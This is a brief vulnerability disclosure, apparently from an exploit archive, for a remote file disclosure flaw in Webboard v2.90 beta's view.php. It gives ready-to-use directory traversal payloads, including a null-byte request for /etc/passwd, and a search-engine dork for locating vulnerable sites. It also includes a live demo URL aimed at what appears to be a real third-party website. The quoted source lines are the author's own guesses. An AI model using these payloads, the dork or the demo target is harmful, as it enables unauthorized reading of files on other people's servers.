Webboard 2.90 Beta File Disclosure

`Webboard <= v.2.90 beta Remote File Disclosure Vulnerability  
  
=============================================================  
  
Author: MrDoug  
Email: mrdoug13 [at] gmail [dot] com  
  
Greetz to all my friends  
  
=============================================================  
  
There are 3 vulnerable calls to fopen() in "/webboard/view.php"  
They are on lines 7, 109 and 113. I have not actually read the  
source but based on tests I would GUESS they look something  
like this...  
  
  
7: fopen('title/' . $_GET['topic'] . '.txt');  
  
...  
  
109: fopen('counter/read/' . $_GET['topic'] . '.txt');  
  
...  
  
113: fopen('counter/read/' . $_GET['topic'] . '.txt');  
  
  
IMPORTANT:  
Due to the trailing ".txt", retrieving files with different  
extensions will be difficult unless you are able to get a  
null byte through without it being escaped.  
  
=============================================================  
  
Example 1: /webboard/view.php?topic=../../../../../../etc/passwd%00  
Example 2: /webboard/view.php?topic=../../../../../../WINDOWS/system32/eula  
  
Dork: inurl:"webboard/view.php?topic="  
  
Demo: http://korat.nfe.go.th/ksn00/webboard/view.php?topic=../../../../../../WINDOWS/system32/eula  
  
  
  
`